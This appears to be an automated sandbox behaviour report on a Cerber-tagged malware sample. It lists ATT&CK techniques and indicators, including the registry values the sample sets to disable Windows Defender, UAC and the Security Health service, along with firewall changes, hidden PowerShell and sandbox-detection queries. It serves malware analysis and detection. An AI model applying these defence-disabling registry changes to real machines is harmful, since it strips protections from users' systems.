cerber | 3e6aed34833aa5354beceaa6b6a3180b831344f3c1d37fd7e3e947f2fdded63c

Windows Service

Disable or Modify Tools

T1562.001

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring = "1"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableBehaviorMonitoring = "1"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableIOAVProtection = "1"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableOnAccessProtection = "1"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe

UAC bypass 3 TTPs 7 IoCs

evasion trojan

Bypass User Account Control

T1548.002

Disable or Modify Tools

T1562.001

Modify Registry

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\PromptOnSecureDesktop = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\PromptOnSecureDesktop = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	reg.exe

Detected Nirsoft tools 1 IoCs

Free utilities often used by attackers which can steal passwords, product keys, etc.

resource	yara_rule
behavioral2/files/0x000a000000023b84-77.dat	Nirsoft

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2896	powershell.exe
1164	powershell.exe

Modifies Windows Firewall 2 TTPs 2 IoCs

evasion

Windows Service

Disable or Modify System Firewall

T1562.004

pid	Process
4132	netsh.exe
4692	netsh.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-3756129449-3121373848-4276368241-1000\Control Panel\International\Geo\Nation	mshta.exe

Executes dropped EXE 25 IoCs

pid	Process
3164	sg.tmp
3600	AMIDEWINx64.EXE
1800	AMIDEWINx64.EXE
4848	AMIDEWINx64.EXE
3140	AMIDEWINx64.EXE
1620	AMIDEWINx64.EXE
3964	ycyp.exe
5076	sg.tmp
4828	DevManView.exe
1172	DevManView.exe
3720	DevManView.exe
2356	DevManView.exe
1464	DevManView.exe
3260	DevManView.exe
4600	DevManView.exe
3600	DevManView.exe
4040	DevManView.exe
1072	DevManView.exe
3140	DevManView.exe
4960	DevManView.exe
952	DevManView.exe
4812	DevManView.exe
3960	DevManView.exe
3024	DevManView.exe
896	ycyp.exe

Enumerates connected drives 3 TTPs 32 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

Peripheral Device Discovery

System Information Discovery

description	ioc	Process
File opened (read-only)	\??\D:	DevManView.exe
File opened (read-only)	\??\D:	DevManView.exe
File opened (read-only)	\??\D:	DevManView.exe
File opened (read-only)	\??\D:	DevManView.exe
File opened (read-only)	\??\D:	DevManView.exe
File opened (read-only)	\??\D:	DevManView.exe
File opened (read-only)	\??\F:	DevManView.exe
File opened (read-only)	\??\F:	DevManView.exe
File opened (read-only)	\??\D:	DevManView.exe
File opened (read-only)	\??\F:	DevManView.exe
File opened (read-only)	\??\F:	DevManView.exe
File opened (read-only)	\??\F:	DevManView.exe
File opened (read-only)	\??\D:	DevManView.exe
File opened (read-only)	\??\F:	DevManView.exe
File opened (read-only)	\??\D:	DevManView.exe
File opened (read-only)	\??\D:	DevManView.exe
File opened (read-only)	\??\F:	DevManView.exe
File opened (read-only)	\??\F:	DevManView.exe
File opened (read-only)	\??\F:	DevManView.exe
File opened (read-only)	\??\F:	DevManView.exe
File opened (read-only)	\??\D:	DevManView.exe
File opened (read-only)	\??\F:	DevManView.exe
File opened (read-only)	\??\D:	DevManView.exe
File opened (read-only)	\??\F:	DevManView.exe
File opened (read-only)	\??\D:	DevManView.exe
File opened (read-only)	\??\F:	DevManView.exe
File opened (read-only)	\??\D:	DevManView.exe
File opened (read-only)	\??\D:	DevManView.exe
File opened (read-only)	\??\F:	DevManView.exe
File opened (read-only)	\??\F:	DevManView.exe
File opened (read-only)	\??\F:	DevManView.exe
File opened (read-only)	\??\D:	DevManView.exe

Maps connected drives based on registry 3 TTPs 62 IoCs

Disk information is often read in order to detect sandboxing environments.

Query Registry

Peripheral Device Discovery

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\disk\Enum\Count	DevManView.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Disk\Enum	DevManView.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\disk\Enum\Count	DevManView.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Disk\Enum	DevManView.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\disk\Enum	DevManView.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\disk\Enum\0	DevManView.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Disk\Enum	DevManView.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\disk\Enum\0	DevManView.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Disk\Enum	DevManView.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\disk\Enum\Count	DevManView.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\disk\Enum\Count	DevManView.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\disk\Enum\0	DevManView.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\disk\Enum\0	DevManView.exe
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\disk\Enum	DevManView.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\disk\Enum\Count	DevManView.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\disk\Enum	DevManView.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\disk\Enum\0	DevManView.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Disk\Enum	DevManView.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\disk\Enum	DevManView.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Disk\Enum	DevManView.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\disk\Enum\Count	DevManView.exe
Set value (int)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\disk\Enum\Count = "0"	DevManView.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\disk\Enum\0	DevManView.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\disk\Enum	DevManView.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\disk\Enum	DevManView.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\disk\Enum\Count	DevManView.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Disk\Enum	DevManView.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\disk\Enum	DevManView.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\disk\Enum	DevManView.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Disk\Enum	DevManView.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Disk\Enum	DevManView.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Disk\Enum	DevManView.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\disk\Enum\0	DevManView.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\disk\Enum	DevManView.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\disk\Enum\0	DevManView.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Disk\Enum	DevManView.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\disk\Enum\Count	DevManView.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\disk\Enum	DevManView.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Disk\Enum	DevManView.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Disk\Enum	DevManView.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\disk\Enum\0	DevManView.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Disk\Enum	DevManView.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\disk\Enum\0	DevManView.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\disk\Enum\Count	DevManView.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\disk\Enum\0	DevManView.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\disk\Enum\Count	DevManView.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\disk\Enum\Count	DevManView.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\disk\Enum\Count	DevManView.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\disk\Enum\Count	DevManView.exe
Set value (int)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\disk\Enum\NextInstance = "0"	DevManView.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\disk\Enum\0	DevManView.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\disk\Enum\0	DevManView.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\disk\Enum	DevManView.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\disk\Enum\0	DevManView.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Disk\Enum	DevManView.exe
Delete value	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\disk\Enum\0	DevManView.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\disk\Enum	DevManView.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Disk\Enum	DevManView.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\disk\Enum	DevManView.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\disk\Enum\0	DevManView.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\disk\Enum	DevManView.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\disk\Enum\0	DevManView.exe

Modifies Security services 2 TTPs 1 IoCs

Modifies the startup behavior of a security service.

defense_evasion

Modify Registry

defense_evasion privilege_escalation

Impair Defenses

T1562

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\SecurityHealthService\Start = "4"	reg.exe

Power Settings 1 TTPs 2 IoCs

powercfg controls all configurable power system settings on a Windows system and can be abused to prevent an infected host from locking or shutting down.

persistence

Power Settings

T1653

pid	Process
2880	powercfg.exe
4316	powercfg.exe

UPX packed file 10 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/memory/2044-0-0x0000000000400000-0x0000000000783000-memory.dmp	upx
behavioral2/memory/2044-33-0x0000000000400000-0x0000000000783000-memory.dmp	upx
behavioral2/memory/3964-41-0x0000000000400000-0x0000000000545000-memory.dmp	upx
behavioral2/files/0x0031000000023b81-38.dat	upx
behavioral2/memory/3964-101-0x0000000000400000-0x0000000000545000-memory.dmp	upx
behavioral2/memory/3964-100-0x0000000000400000-0x0000000000545000-memory.dmp	upx
behavioral2/memory/3964-116-0x0000000000400000-0x0000000000545000-memory.dmp	upx
behavioral2/memory/896-118-0x0000000000400000-0x0000000000545000-memory.dmp	upx
behavioral2/memory/2640-137-0x0000000000400000-0x0000000000783000-memory.dmp	upx
behavioral2/memory/2044-135-0x0000000000400000-0x0000000000783000-memory.dmp	upx

Drops file in Windows directory 3 IoCs

description	ioc	Process
File opened for modification	C:\Windows\INF\setupapi.dev.log	DevManView.exe
File opened for modification	C:\Windows\INF\setupapi.dev.log	DevManView.exe
File opened for modification	C:\Windows\INF\setupapi.dev.log	DevManView.exe

Access Token Manipulation: Create Process with Token 1 TTPs 1 IoCs

Create Process with Token

T1134.002

pid	Process
3904	mshta.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Event Triggered Execution: Netsh Helper DLL 1 TTPs 6 IoCs

Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

persistence privilege_escalation

Netsh Helper DLL

T1546.007

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe

System Location Discovery: System Language Discovery 1 TTPs 4 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	3e6aed34833aa5354beceaa6b6a3180b831344f3c1d37fd7e3e947f2fdded63c.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ycyp.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ycyp.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	3e6aed34833aa5354beceaa6b6a3180b831344f3c1d37fd7e3e947f2fdded63c.exe

Checks SCSI registry key(s) 3 TTPs 64 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

Peripheral Device Discovery

System Information Discovery

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000001\Properties\{83da6326-97a6-4088-9453-a1923f573b29}	DevManView.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000002\Capabilities	DevManView.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000002\ConfigFlags	DevManView.exe
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Properties\{a8b865dd-2e3d-4094-ad97-e593a70c75d6}\000E	DevManView.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\Capabilities	DevManView.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000001\Properties\{83da6326-97a6-4088-9453-a1923f573b29}\0064\	DevManView.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000002\Properties\{83da6326-97a6-4088-9453-a1923f573b29}\00000067\00000000	DevManView.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000	DevManView.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Driver	DevManView.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000001\Properties\{83da6326-97a6-4088-9453-a1923f573b29}\0066\	DevManView.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Properties\{a8b865dd-2e3d-4094-ad97-e593a70c75d6}\0004	DevManView.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000	DevManView.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\Properties\{83da6326-97a6-4088-9453-a1923f573b29}\0065\	DevManView.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000002\Properties\{83da6326-97a6-4088-9453-a1923f573b29}\0066	DevManView.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000002\Properties\{83da6326-97a6-4088-9453-a1923f573b29}\0065\	DevManView.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\ConfigFlags	DevManView.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Properties\{83da6326-97a6-4088-9453-a1923f573b29}	DevManView.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\Properties\{83da6326-97a6-4088-9453-a1923f573b29}\00000064\00000000	DevManView.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000002\Service	DevManView.exe
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A	DevManView.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Properties\{83da6326-97a6-4088-9453-a1923f573b29}\00000065\00000000	DevManView.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\ConfigFlags	DevManView.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000002\Properties\{83da6326-97a6-4088-9453-a1923f573b29}\0065\	DevManView.exe
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000001\Device Parameters	DevManView.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000002\ClassGUID	DevManView.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\ConfigFlags	DevManView.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\ContainerID	DevManView.exe
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000002\Device Parameters	DevManView.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000001\ClassGuid	DevManView.exe
Key enumerated	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A	DevManView.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000001\Properties\{83da6326-97a6-4088-9453-a1923f573b29}	DevManView.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000001\Mfg	DevManView.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000002\Service	DevManView.exe
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A	DevManView.exe
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	DevManView.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM	DevManView.exe
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM	DevManView.exe
Key enumerated	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM	DevManView.exe
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	DevManView.exe
Key enumerated	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM	DevManView.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000002\Properties\{83da6326-97a6-4088-9453-a1923f573b29}\000A\	DevManView.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Properties\{a8b865dd-2e3d-4094-ad97-e593a70c75d6}\0008	DevManView.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Properties\{540b947e-8b40-45bc-a8a2-6a0b894cbda2}	DevManView.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000001	DevManView.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\Properties\{83da6326-97a6-4088-9453-a1923f573b29}\0065\	DevManView.exe
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\Properties\{83da6326-97a6-4088-9453-a1923f573b29}	DevManView.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\Device Parameters	DevManView.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000002\Properties\{83da6326-97a6-4088-9453-a1923f573b29}\00000067\00000000	DevManView.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000002\ConfigFlags	DevManView.exe
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM	DevManView.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000002\Driver	DevManView.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000001\DeviceDesc	DevManView.exe
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters	DevManView.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000002\Properties\{83da6326-97a6-4088-9453-a1923f573b29}\0067\	DevManView.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Service	DevManView.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\FriendlyName	DevManView.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\Device Parameters	DevManView.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\Properties\{83da6326-97a6-4088-9453-a1923f573b29}\0065	DevManView.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\Driver	DevManView.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000001\Capabilities	DevManView.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\Properties\{83da6326-97a6-4088-9453-a1923f573b29}\0067	DevManView.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\Properties\{83da6326-97a6-4088-9453-a1923f573b29}\00000065\00000000	DevManView.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\ConfigFlags	DevManView.exe
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM	DevManView.exe

Kills process with taskkill 6 IoCs

evasion

pid	Process
3488	taskkill.exe
4952	taskkill.exe
1668	taskkill.exe
4860	taskkill.exe
3928	taskkill.exe
1884	taskkill.exe

Runs net.exe

Suspicious behavior: EnumeratesProcesses 44 IoCs

pid	Process
1164	powershell.exe
2896	powershell.exe
2896	powershell.exe
1164	powershell.exe
1164	powershell.exe
2896	powershell.exe
4828	DevManView.exe
4828	DevManView.exe
1172	DevManView.exe
1172	DevManView.exe
3720	DevManView.exe
3720	DevManView.exe
2356	DevManView.exe
2356	DevManView.exe
1464	DevManView.exe
1464	DevManView.exe
3260	DevManView.exe
3260	DevManView.exe
4600	DevManView.exe
4600	DevManView.exe
3600	DevManView.exe
